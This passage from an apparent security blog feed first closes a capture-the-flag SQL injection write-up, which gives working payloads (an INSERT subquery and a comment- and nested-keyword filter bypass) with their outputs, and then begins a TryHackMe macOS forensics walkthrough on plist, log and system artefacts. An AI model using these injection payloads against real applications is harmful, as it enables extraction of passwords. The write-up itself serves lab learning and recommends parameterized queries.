<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/28ad64b6-f2a9-400a-b6f5-6ea3340d7472.png" alt="" style="display:block;margin:0 auto" />

<h2><strong>Injection in INSERT</strong></h2>
<h3><strong>Inserting payloads</strong></h3>
<p>Sometimes the injection can occur in an INSERT statement.</p>
<h3><strong>Goal: recover the admin password.</strong></h3>
<pre><code class="language-bash">-- run
INSERT INTO maillinglist(email, enabled) VALUES ('', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;
</code></pre>
<p>MAIL: <code>admin' OR 'a'='a’</code></p>
<p>OUTPUT:</p>
<pre><code class="language-bash">Parse error near line 16: unrecognized token: "'a'', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;"
  illinglist(email, enabled) VALUES ('admin' OR 'a'='a'', TRUE);  SELECT    emai
                                      error here ---^
</code></pre>
<p>MAIL: 'admin' OR 'a'='a’</p>
<p>OUTPUT:</p>
<pre><code class="language-bash">Parse error near line 16: near "admin": syntax error
  NSERT INTO maillinglist(email, enabled) VALUES (''admin' OR 'a'='a'', TRUE);
                                      error here ---^
[{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":0},
{"email":"Mose.Cruickshank-Cassin69@gmail.com","enabled":0}]
</code></pre>
<p>MAIL: admin</p>
<p>OUTPUT:</p>
<pre><code class="language-json">[{"email":"admin","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":1},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":1}]
</code></pre>
<h3>hints</h3>
<ul>
<li><p>Can you set enabled to something else ?</p>
</li>
<li><p>Have you heard of nested queries ?</p>
</li>
</ul>
<p>correct:</p>
<p><code>MAIL: '||(SELECT password FROM users WHERE username='admin')||’</code></p>
<p>OUTPUT:</p>
<pre><code class="language-bash">[{"email":"FLAG{y06azxph2hi2574ez5937vj}","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":0},
{"email":"Andreane49@hotmail.com","enabled":0}]
</code></pre>
<pre><code class="language-bash">-- run
INSERT INTO maillinglist(email, enabled) VALUES (''||(SELECT password FROM users WHERE username='admin')||'', TRUE);

SELECT 
  email, enabled
FROM maillinglist 
ORDER BY `rowid` DESC 
LIMIT 5;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/c783ee7d-f7fa-4907-8095-71110f88ceb9.png" alt="" style="display:block;margin:0 auto" />

<h2><strong>Filter bypass</strong></h2>
<h3><strong>Some filter away from SQL injection</strong></h3>
<p>Here your input is heavily transformed before being injected into the query. While this make the exploitation more difficult, this shouldn't stop you.</p>
<h3><strong>Goal: recover the admin password</strong></h3>
<ul>
<li><p>Spaces are not the only word separator in SQL.</p>
</li>
<li><p>The password filter is broken; you should be able to bypass it.</p>
</li>
</ul>
<pre><code class="language-bash">SELECT 
  `username`, `email`
FROM `users`
WHERE `email` = '@company.name'
LIMIT 5;
</code></pre>
<p>USER: <code>' admin</code></p>
<p>OUTPUT:</p>
<pre><code class="language-bash">Parse error near line 10: near "@company": syntax error
  me`, `email` FROM `users` WHERE `email` = ''.admin@company.name' LIMIT 5;
                                      error here ---^
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/20140410-30e2-49dd-b0f2-f520a072d1df.png" alt="" style="display:block;margin:0 auto" />

<h3>correct</h3>
<p>USER: <code>'/**/UNION/**/SELECT/**/passpasswordword,username/**/FROM/**/users/**/WHERE/**/username='admin'--</code></p>
<pre><code class="language-bash">[{"username":"FLAG{wsnyirm6tg6num849unzf}","email":"admin"}]
</code></pre>
<pre><code class="language-bash">SELECT 
  `username`, `email`
FROM `users`
WHERE `email` = ''/**/union/**/select/**/password,username/**/from/**/users/**/where/**/username='admin'--@company.name'
LIMIT 5;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/c44294e4-6f93-411d-9eea-e7f13d182cfb.png" alt="" style="display:block;margin:0 auto" />

<p>Across these 5 challenges, a clear pattern emerged: SQL injection is less about memorizing payloads and more about <em>reading how the application transforms your input</em> and working backwards from there.</p>
<p>The filter bypass challenge drove this home hardest. Seeing <code>password</code> silently stripped from the query and reconstructing it as <code>passwpasswordord</code> is the same mental model you'd use against a WAF in the real world: observe the transformation, then craft input that survives it intact.</p>
<p>Key takeaways:</p>
<ul>
<li><p><strong>UNION-based injection</strong> requires matching column counts. Always check the original SELECT first</p>
</li>
<li><p><strong>SQLite</strong> exposes its full schema through <code>sqlite_master</code> knowing your backend matters</p>
</li>
<li><p><strong>Subqueries inside INSERT</strong> via <code>||</code> concatenation are a reminder that injection surfaces go beyond WHERE clauses</p>
</li>
<li><p><strong>Blacklist filters are fragile</strong> a single-pass keyword removal is trivially bypassed with nested keywords or comment-based space alternatives</p>
</li>
</ul>
<p>From a defensive standpoint, all of these vulnerabilities share one root cause: user input being concatenated directly into SQL queries. The fix is consistent use of <strong>parameterized queries / prepared statements;</strong> no amount of input sanitization or filtering is as reliable.</p>
<p><strong>References:</strong></p>
<ul>
<li><p><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP: SQL Injection</a></p>
</li>
<li><p><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></p>
</li>
<li><p><a href="https://dojo.yeswehack.com">YesWeHack Dojo</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[macOS Forensics: Artefacts (TryHackMe)]]></title><description><![CDATA[This writeup covers a macOS Forensics: Artefacts challenge on TryHackMe involving the analysis of a 25GB disk image from a macOS 15.1.1 (Sequoia) system. The investigation required extracting user act]]></description><link>https://www.sharonjebitok.com/macos-forensics-artefacts-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/macos-forensics-artefacts-tryhackme</guid><category><![CDATA[macOS]]></category><category><![CDATA[macos forensics]]></category><category><![CDATA[macapt]]></category><category><![CDATA[Python]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 14 Mar 2026 14:04:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/27780b2e-a399-485a-9417-5d93060f4522.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This writeup covers a <a href="https://tryhackme.com/room/macosforensicsartefacts">macOS Forensics: Artefacts</a> challenge on TryHackMe involving the analysis of a 25GB disk image from a macOS 15.1.1 (Sequoia) system. The investigation required extracting user activity artifacts, system configuration details, and evidence of external device connections from an APFS-formatted disk image.</p>
<p>The challenge demonstrated practical macOS forensic analysis using tools like mac_apt for artifact extraction, SQLite for querying APFS metadata databases, and APOLLO for pattern-of-life analysis. Questions ranged from determining OS installation dates and network configurations to tracking terminal command history and identifying recently accessed directories.</p>
<h3>Tools Used</h3>
<ul>
<li><p><strong>mac_apt</strong> - macOS artifact parsing framework (<a href="http://v1.12.0.dev">v1.12.0.dev</a>)</p>
</li>
<li><p><strong>SQLite/DB Browser</strong> - Querying APFS volume databases</p>
</li>
<li><p><strong>APOLLO</strong> - macOS pattern-of-life forensic tool</p>
</li>
<li><p><strong>Python</strong> - Custom scripts for timestamp conversion and data extraction</p>
</li>
<li><p><strong>grep/find</strong> - Log analysis and file searching</p>
</li>
</ul>
<h2>Introduction</h2>
<p>In the <a href="https://tryhackme.com/jr/macosforensicsbasics">macOS Forensics: The Basics</a> room, we learned some basics of macOS forensics and the challenges we might face when performing forensics on macOS. Now that we have this knowledge, we need to know what forensic artefacts are present in macOS and what value we can derive from them.</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>The different forensic artefacts present in macOS.</p>
</li>
<li><p>Where to find these artefacts?</p>
</li>
<li><p>How can these artefacts aid in a forensic investigation?</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<p>Before starting this room, it is highly recommended that the following room is completed:</p>
<ul>
<li><a href="https://tryhackme.com/jr/macosforensicsbasics">macOS Forensics: The Basics</a></li>
</ul>
<p>Furthermore, this room requires an advanced knowledge of the Linux/Unix command line, so it is recommended to have that knowledge before continuing with this room. Throughout the room, we will discuss accessing the forensic artefacts both on a live system and on a macOS disk image in a Linux system. We will practice accessing and analysing these artefacts from a disk image using an attached Linux VM.</p>
<p>The machine will open in split view. The attached machine is a Linux machine with a macOS disk image named <strong>mac-disk.img</strong> placed in the home directory. As we learned previously, we will mount this disk image using the apfs-fuse utility and perform analysis on the image.</p>
<p>In the coming tasks, we will explore examples of forensic artefacts extraction on a live system and practice extracting them on an acquired disk image placed in a Linux machine. Please note that the disk image has been obtained from a purpose-built VM, and, as with all forensic investigations, not all artefacts will be present in all machines.</p>
<h3>Answer the questions below</h3>
<p>What command can be used to mount the image named <strong>mac-disk.img</strong> to the directory <code>~/mac</code> in the attached VM, making sure the <strong>Data</strong> volume is mounted? <code>apfs-fuse -v 4 mac-disk.img ~/mac</code></p>
<h2>Before We Begin</h2>
<p>Most artefacts in macOS can be categorised into a few types. These types often require special tools or parsers to extract data. Therefore, we will go over these artefacts in this task so that when we encounter them in the upcoming tasks, we already know what tools and techniques to use to parse them.</p>
<h2><strong>Plist Files</strong></h2>
<p>Plist or property list files are among the most common artefact types we will find while performing forensics on a macOS device. We also learned about plist files in the <a href="https://tryhackme.com/jr/macosforensicsbasics">macOS Forensics: The Basics</a> room, where we identified that these could be XML or BLOB files. We can read the XML type of plist files using built-in utilities like cat, more, or head. However, we need a specific plist utility to read BLOB files properly. One such utility is present by default in macOS systems, and we can read a BLOB type of plist file with the command <code>plutil -p &lt;file&gt;.plist</code>.</p>
<p>Plutil for Plist Files</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % plutil -p APMExperimentSuiteName.plist 
{
  "APMExperimentFetchSuccessTimestamp" =&gt; 1728475253.533066
}
</code></pre>
<p>However, if we are analysing data in Linux, we must install <a href="https://github.com/libimobiledevice/libplist">plistutil</a>, which works similarly to plutil in macOS. In a Linux system, we can read a BLOB type of plist file using the command <code>plistutil -p &lt;file&gt;.plist</code>. This utility is already installed on the attached VM.</p>
<p>Plistutil for Plist Files</p>
<pre><code class="language-shell-session">ubuntu@tryhackme:~$ plistutil -p APMExperimentSuiteName.plist 
{
  "APMExperimentFetchSuccessTimestamp" =&gt; 1728475253.533066
}
</code></pre>
<h2><strong>Database Files</strong></h2>
<p>Certain forensic artefacts in macOS are saved as database files, such as chat history, browsing history, and application usage. We will need a tool to extract data from these database formats. In this room, we will use <a href="https://sqlitebrowser.org/">DB Browser for SQLite.</a> It is a tool available for Windows, Linux, and macOS systems. In the attached VM, we can start the DB Browser by navigating to <code>Applications &gt; Accessories &gt; DB Browser for SQLite</code> from the top menu.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/61306d87a330ed00419e22e7/room-content/61306d87a330ed00419e22e7-1744684539340.png" alt="Navigating to DB Browser" style="display:block;margin:0 auto" />

<p>The following screenshot shows the UI of DB browser, where we have run a query to search for application activity in knowledgeC.db, which we will learn about further in the upcoming tasks. We run a modified form of the query found in <a href="https://www.mac4n6.com/blog/2018/8/5/knowledge-is-power-using-the-knowledgecdb-database-on-macos-and-ios-to-determine-precise-user-and-application-usage?rq=knowledgec">this</a> blog.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/61306d87a330ed00419e22e7/room-content/61306d87a330ed00419e22e7-1741535397920.png" alt="DB Browser for SQL" style="display:block;margin:0 auto" />

<p>In addition to DB browser, we will need some information on what to extract from the databases and how to do that. We can use <a href="https://github.com/mac4n6/APOLLO">APOLLO</a> to gather databases from the macOS system or parse data from different databases into one database. Various modules of APOLLO can be used to identify the different database queries required to extract data for a specific artefact, and then create a timeline of events using these databases. Both DB Browser and APOLLO are already present in the attached VM for performing analysis. However, we will not extract databases in the attached VM, rather just perform analysis on the individual databases when required.</p>
<p>Running APOLLO</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % python3 apollo.py extract -osql_json -pyolo -vyolo modules tmp_apollo 

--------------------------------------------------------------------------------------
APOLLO Modules Version: 11182020
Action: extract
Platform: yolo
Version: yolo
Output: sql_json
Data Directory: tmp_apollo
Modules Directory: modules
Current Working Directory: /Users/umair/APOLLO
--------------------------------------------------------------------------------------
...Parsing Modules in...modules

==&gt; Parsing 411 modules (Note: Some modules may be run on more than one database.)
	[1] modules/aggregate_dictionary_distributed_keys.txt on ADDataStore.sSQLite DB SQL Query 8,9,10,11,12,13,14
	[2] modules/aggregate_dictionary_scalars.txt on ADDataStore.sqlitedb: SQL Query 8,9,10,11,12,13,14
	[3] modules/call_history.txt on CallHistory.storedata: SQL Query 10.13,10.14,10.15,10.16
	[4] modules/call_history.txt on CallHistory.storedata: SQL Query 8

.
.
.
.
</code></pre>
<h2><strong>Logs</strong></h2>
<p>macOS systems contain multiple types of logs that provide a wealth of forensic information. We will use these logs to extract valuable artefacts in the upcoming tasks. Three types of logs are present in macOS devices.</p>
<p><strong>Apple System Logs (ASL)</strong></p>
<p>The Apple System Logs (ASL) are in the location <code>/private/var/log/asl/</code>. This directory contains multiple types of logs, such as utmp, wtmp, and login details. On a live macOS system, we need to use the Console app to open these logs using the command <code>open -a Console /private/var/log/asl/&lt;log&gt;.asl</code>.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/61306d87a330ed00419e22e7/room-content/61306d87a330ed00419e22e7-1741533571889.png" alt="ASL parsed using the Console app" style="display:block;margin:0 auto" />

<p>However, we will need a separate parsing tool when analysing data on a Linux or Windows system. We can use <a href="https://github.com/ydkhatri/mac_apt">mac_apt</a> for this purpose. It is a Python-based tool that takes different artefacts as input (not limited to ASL) and can output them in CSV, JSON, or other formats.</p>
<p>Mac_<a href="http://apt.py">apt.py</a></p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % python3 mac_apt.py -h                                                                                    
usage: mac_apt.py [-h] [-o OUTPUT_PATH] [-x] [-c] [-t] [-j] [-l LOG_LEVEL] [-p PASSWORD] [-pf PASSWORD_FILE] [-d] input_type input_path plugin [plugin ...]

mac_apt is a framework to process macOS forensic artifacts
You are running macOS Artifact Parsing Tool version 1.12.0.dev (20250110)

Note: The default output is now sqlite, no need to specify it now

positional arguments:
  input_type            Specify Input type as either DD, DMG, E01, VMDK, AFF4, SPARSE, AXIOMZIP or MOUNTED
  input_path            Path to macOS image/volume
  plugin                Plugins to run (space separated). FAST will run most plugins

options:
  -h, --help            show this help message and exit
  -o OUTPUT_PATH, --output_path OUTPUT_PATH
                        Path where output files will be created
  -x, --xlsx            Save output in Excel spreadsheet
  -c, --csv             Save output as CSV files
  -t, --tsv             Save output as TSV files (tab separated)
  -j, --jsonl           Save output as JSONL files
  -l LOG_LEVEL, --log_level LOG_LEVEL
                        Log levels: INFO, DEBUG, WARNING, ERROR, CRITICAL (Default is INFO)
  -p PASSWORD, --password PASSWORD
                        Personal Recovery Key(PRK) or Password for any user (for decrypting encrypted volume).
  -pf PASSWORD_FILE, --password_file PASSWORD_FILE
                        Text file containing Personal Recovery Key(PRK) or Password
  -d, --dont_decrypt    Don't decrypt as image is already decrypted!

The following 48 plugins are available:
    APPLIST             Reads apps &amp; printers installed and/or available for
                        each user from appList.dat
    ARD                 Reads ARD (Apple Remote Desktop) cached databases about
                        app usage
    ASL                 Reads macOS ASL (Apple System Log) from asl.log, asl.db,
                        and ".asl" files.
    AUTOSTART           Retrieves persistent and auto-start programs, daemons,
                        services
    BASICINFO           Gets basic system and OS configuration like SN,
                        timezone, device name, last logged in user, FS info,
                        etc..

.
.
.
.
.
    UTMPX               Read utmpx entries
    WIFI                Gets wifi network information from the
                        com.apple.airport.preferences.plist file
    WIFI_INTELLIGENCE   Gets Wifi connect/disconnect information from Apple
                        Intelligence db
    XPROTECT            Parses XProtect diagnostic files and XProtect Behavior
                        Service database and extract timestamp, signature/rule
                        names, and so on.
    ----------------------------------------------------------------------------
    FAST                Runs all plugins except IDEVICEBACKUPS, SPOTLIGHT, UNIFIEDLOGS
    ALL                 Runs all plugins
</code></pre>
<p>Once done, mac_apt will output results in CSV files as well as database files, which we can open using the built-in utilities or the DB browser utility to analyse further. Here, we might notice that mac_apt parses a lot of different types of data that can help us quickly perform analysis covering not just logs but several other artefacts of interest.</p>
<p><strong>System Logs</strong></p>
<p>System Logs are similar to syslog in Linux. They are present in the location <code>/private/var/log/system.log</code>. They are in simple text format and can be read using text editors or utilities such as cat, more, or head. We have to note, however, that the system log is rotated into .gz files. To search all these files, we will have to concatenate them into a single big log file or use the grep utility to read through all these logs.</p>
<p>Zgrep System Log</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % zgrep BOOT_TIME system.log* 
system.log.5.gz:Feb 12 22:05:59 Umairs-MacBook-Pro bootlog[0]: BOOT_TIME 1739383559 185882
</code></pre>
<p><strong>Unified Logs</strong></p>
<p>Unified Logs are in the locations <code>/private/var/db/diagnostics/*.tracev3</code> and <code>/private/var/db/uuidtext.</code> We can use the built-in log utility in macOS to view these logs, use mac_apt to parse the logs, or we can use <a href="https://github.com/mandiant/macos-UnifiedLogs">Mandiant's Unified Logs Parser</a> utility. This utility can be used on a live system or a log archive to convert the logs into CSV or JSON files. The resulting files will be huge, but we can use awk or cat to parse these files and extract the necessary information. We will need to compile this utility from source to be able to use it in the attached VM, or we can use mac_apt to parse the Unified logs and open them in DB browser.</p>
<p>Unified Log Parser</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % ./unifiedlog_parser -h                                           
Starting Unified Log parser...
unifiedlog_parser 0.1.0

USAGE:
    unifiedlog_parser [OPTIONS] --output
        

OPTIONS:
    -h, --help               Print help information
    -i, --input
                Path to logarchive formatted directory [default: ]
    -l, --live
                  Run on live system [default: false]
    -o, --output
              Path to output file. Any directories must already exist
    -V, --version            Print version information
</code></pre>
<p>Here, we must note that we have to give the complete name of the output file for the utility to write to it. Otherwise, we will get an error.</p>
<p>On a live system, we can use the following command to view logs for the last minute.</p>
<p>Logs for Last 1 Minute</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % log show --last 1m
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-10 15:12:30.771989+0400 0x33ddd    Default     0x0                  657    0    nearbyd: [com.apple.nearbyd:general] #ses-devicepresence,Ignoring weak RSSI -70.000000 on channel 39 for device:
         (device hash: 0x16512e1) because we cannot trust weak RSSI due to a BT FW bug
2025-03-10 15:12:30.783781+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16348
2025-03-10 15:12:30.783784+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16352
2025-03-10 15:12:30.783785+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16356
2025-03-10 15:12:30.783786+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16360
2025-03-10 15:12:30.783787+0400 0x175c     Default     0x0                  669    0    sharingd: (IO80211) Apple80211EventMonitoringHelper: Skipping Padding Read offset is 16364
.
.
.
.
</code></pre>
<p>We might see that the number of logs generated in the last minute is enormous. Therefore, it is necessary to have some way to filter these logs. Apple provides the option of <a href="https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Predicates/Articles/pSyntax.html">predicate</a> for this purpose. We can use the <code>--predicate</code> flag to tell the log command that we want to filter the logs. Further, we can add the filters in single quotes based on subsystem, category, and message.</p>
<p>Predicate Filtering</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % log show --predicate 'subsystem=="com.apple.sharing" and category=="AirDrop" and eventMessage contains "Discoverable"'
Filtering the log data using "subsystem == "com.apple.sharing" AND category == "AirDrop" AND composedMessage CONTAINS "Discoverable""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp                       Thread     Type        Activity             PID    TTL  
2025-03-09 16:57:25.609833+0400 0x1d9d     Default     0x0                  694    3    sharingd: [com.apple.sharing:AirDrop] Discoverable mode changed from
         to
          , posting notification
2025-03-09 16:57:37.926188+0400 0x1790     Default     0xf308               711    3    ControlCenter: (Sharing) [com.apple.sharing:AirDrop] Discoverable mode changed to
            
2025-03-09 18:07:58.804412+0400 0x175c     Default     0x0                  669    3    sharingd: [com.apple.sharing:AirDrop] Discoverable mode changed from
               to
                , posting notification
--------------------------------------------------------------------------------------------------------------------
Log      - Default:          3, Info:                0, Debug:             0, Error:          0, Fault:          0
Activity - Create:           0, Transition:          0, Actions:           0
</code></pre>
<p>In the coming tasks, we will explore some filters for the log command to reduce artefacts in a macOS system.</p>
<h3>Answer the questions below</h3>
<p>In the attached VM, which utility can we use to parse plist files? <code>plistutil</code></p>
<h2>System Information</h2>
<p>When performing forensics, the best practice is to verify the system Information to ensure we are working on the correct system. In this task, we will start by identifying where we can find different artefacts that help us verify system information.</p>
<h2><strong>OS Version</strong></h2>
<p>The macOS machine's OS version can be found in a plist file present in the following location:</p>
<p><code>/System/Library/CoreServices/SystemVersion.plist</code></p>
<p>The following terminal window shows the contents of this file when we use the <code>cat</code> utility to read it. We must remember that some plist files can be read using the <code>cat</code> utility as they are in XML format; however, some plist files are in binary format, and we will need <code>plutil</code> to read their contents. Please note that we will need to mount the <code>System</code> volume instead of the <code>Data</code> volume to access this data.</p>
<p>OS Version</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % cat /System/Library/CoreServices/SystemVersion.plist
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
&lt;key&gt;BuildID&lt;/key&gt;
&lt;string&gt;2B3829A8-E319-11EF-8892-025514DE0AB1&lt;/string&gt;
&lt;key&gt;ProductBuildVersion&lt;/key&gt;
&lt;string&gt;24D70&lt;/string&gt;
&lt;key&gt;ProductCopyright&lt;/key&gt;
&lt;string&gt;1983-2025 Apple Inc.&lt;/string&gt;
&lt;key&gt;ProductName&lt;/key&gt;
&lt;string&gt;macOS&lt;/string&gt;
&lt;key&gt;ProductUserVisibleVersion&lt;/key&gt;
&lt;string&gt;15.3.1&lt;/string&gt;
&lt;key&gt;ProductVersion&lt;/key&gt;
&lt;string&gt;15.3.1&lt;/string&gt;
&lt;key&gt;iOSSupportVersion&lt;/key&gt;
&lt;string&gt;18.3&lt;/string&gt;
&lt;/dict&gt;
&lt;/plist&gt;
</code></pre>
<h2><strong>Serial Number</strong></h2>
<p>The Serial number of a Mac is stored in the location <code>/private/var/folders/*/&lt;DARWIN_USER_DIR&gt;/C/locationd/consolidated.db</code> or <code>/private/var/folders/*/&lt;DARWIN_USER_DIR&gt;/C/locationd/cache_encryptedA.db</code>. We can use DB Browser to access these databases. If we go to the <code>Browse Data</code> tab, and select the <code>TableInfo</code> table, we will see the Serial Number as shown in the screenshot below.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/61306d87a330ed00419e22e7/room-content/61306d87a330ed00419e22e7-1745746161149.png" alt="Serial Number of a Mac" style="display:block;margin:0 auto" />

<h2><strong>OS Installation Date</strong></h2>
<p>Using the stat command on the file <code>/private/var/db/.AppleSetupDone</code>, we can find the date of OS installation and the date of update installation. In the terminal below, the <strong>Birth</strong> timestamp of the file shows the date when the OS was installed, whereas the <strong>Change</strong> timestamp shows the date when the latest updates were installed. In a Mac environment, we can find this using the <code>stat -x</code> command, while we can use <code>stat</code> to get the same information in a Linux machine.</p>
<p>OS Installation Date</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % stat -x /private/var/db/.AppleSetupDone
  File: "/private/var/db/.AppleSetupDone"
  Size: 0             FileType: Regular File
  Mode: (0400/-r--------)         Uid: (     0/     root)   Gid: (     0/   wheel)
Device: 1,17   Inode: 270717     Links: 1
Access: Tue Feb 18 21:55:34 2025
Modify: Sat Jul 20 14:43:01 2024
Change: Wed Feb 12 22:06:51 2025
Birth: Sat Jul 20 13:29:58 2024
</code></pre>
<p>Another way to find when the OS was installed and updated is by reading the <code>/private/var/db/softwareupdate/journal.plist</code> file. The following terminal shows what the results will look like. We can see the installation date of 20 July 2024, with macOS Sonoma 14.5 installed on this date, followed by an update on 15 August 2024 with macOS Sonoma 14.6.1. This file provides more elaborate details of when the OS was installed and the times when it was updated.</p>
<p>Installation and Update Dates</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % cat /private/var/db/softwareupdate/journal.plist
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;array&gt;
&lt;dict&gt;
&lt;key&gt;__isMobileSoftwareUpdate&lt;/key&gt;
&lt;true/&gt;
&lt;key&gt;__isSoftwareUpdate&lt;/key&gt;
&lt;true/&gt;
&lt;key&gt;installDate&lt;/key&gt;
&lt;date&gt;2024-07-20T09:52:15Z&lt;/date&gt;
&lt;key&gt;productKey&lt;/key&gt;
&lt;string&gt;MSU_UPDATE_23F79_patch_14.5_minor&lt;/string&gt;
&lt;key&gt;release-notes&lt;/key&gt;
&lt;string&gt;&lt;/string&gt;
&lt;key&gt;title&lt;/key&gt;
&lt;string&gt;macOS Sonoma 14.5&lt;/string&gt;
&lt;key&gt;version&lt;/key&gt;
&lt;string&gt;14.5&lt;/string&gt;
&lt;/dict&gt;

&lt;dict&gt;
&lt;key&gt;__isMobileSoftwareUpdate&lt;/key&gt;
&lt;true/&gt;
&lt;key&gt;__isSoftwareUpdate&lt;/key&gt;
&lt;true/&gt;
&lt;key&gt;installDate&lt;/key&gt;
&lt;date&gt;2024-08-15T16:06:23Z&lt;/date&gt;
&lt;key&gt;productKey&lt;/key&gt;
&lt;string&gt;MSU_UPDATE_23G93_patch_14.6.1_minor&lt;/string&gt;
&lt;key&gt;release-notes&lt;/key&gt;
&lt;string&gt;&lt;/string&gt;
&lt;key&gt;title&lt;/key&gt;
&lt;string&gt;macOS Sonoma 14.6.1&lt;/string&gt;
&lt;key&gt;version&lt;/key&gt;
&lt;string&gt;14.6.1&lt;/string&gt;
&lt;/dict&gt;
.
.
.
.
</code></pre>
<h2><strong>Time Zone</strong></h2>
<p>The <code>/etc/localtime</code> file contains the time zone information. The following terminal window shows us how we can extract this info.</p>
<p>Current Time Zone</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % ls -la /etc/localtime 
lrwxr-xr-x   1 root   wheel   36 Feb 12 22:07 /etc/localtime -&gt; /var/db/timezone/zoneinfo/Asia/Dubai
</code></pre>
<p>As seen in the terminal, this specific machine's time zone is Asia/Dubai. The last modified timestamp of this file shows when the time zone was changed.</p>
<p>Another way to check the  of a system is using the <code>/Library/Preferences/.GlobalPreferences.plist</code> file. This file also contains information about historical time zones and languages. However, this file might not have the updated time zone if location services are active.</p>
<p>Time Zone History</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % plutil -p /Library/Preferences/.GlobalPreferences.plist
{
  "AppleLanguages" =&gt; [
    0 =&gt; "en-AE"
    1 =&gt; "ar-AE"
    2 =&gt; "ur-AE"
  ]
  "AppleLocale" =&gt; "en_AE@calendar=gregorian"
  "AppleTextDirection" =&gt; 0
  "com.apple.AppleModemSettingTool.LastCountryCode" =&gt; "US"
  "com.apple.preferences.timezone.new.selected_city" =&gt; "turw"
  "com.apple.preferences.timezone.selected_city" =&gt; {
    "AppleMapID" =&gt; "turw"
  }
  "com.apple.TimeZonePref.Last_Selected_City" =&gt; [
    0 =&gt; "37.31931"
    1 =&gt; "-122.0293"
    2 =&gt; "0"
    3 =&gt; "America/Los_Angeles"
    4 =&gt; "US"
    5 =&gt; "Cupertino"
    6 =&gt; "U.S.A."
    7 =&gt; "Cupertino"
    8 =&gt; "U.S.A."
    9 =&gt; "DEPRECATED IN 10.6"
  ]
  "Country" =&gt; "SA"
  "MultipleSessionEnabled" =&gt; 1
}
</code></pre>
<p>To check if location services are active, we can check the <code>/Library/Preferences/com.apple.timezone.auto.plist</code> file. The following terminal window shows that this machine's time zone auto adjustment is active.</p>
<p>Auto Time Zone Config</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % plutil -p /Library/Preferences/com.apple.timezone.auto.plist
{
  "Active" =&gt; 1
}
</code></pre>
<h2><strong>Boot, Reboot and Shutdown Times</strong></h2>
<p>The system log contains information about boot, reboot, and shutdown times. It is located in the location <code>/private/var/log/system.log</code>. We can grep for BOOT_TIME to find the last boot time and SHUTDOWN_TIME to see the last shutdown time. Since the logs are rotated into gz files, we can use zgrep to ensure we are searching inside all historic logs.</p>
<p>Boot and Shutdown Times</p>
<pre><code class="language-shell-session">umair@Umairs-MacBook-Pro ~ % zgrep BOOT_TIME system.log.* 
Feb 12 22:05:59 Umairs-MacBook-Pro bootlog[0]: BOOT_TIME 1739383559 185882
umair@Umairs-MacBook-Pro % zgrep SHUTDOWN_TIME system.log.* 
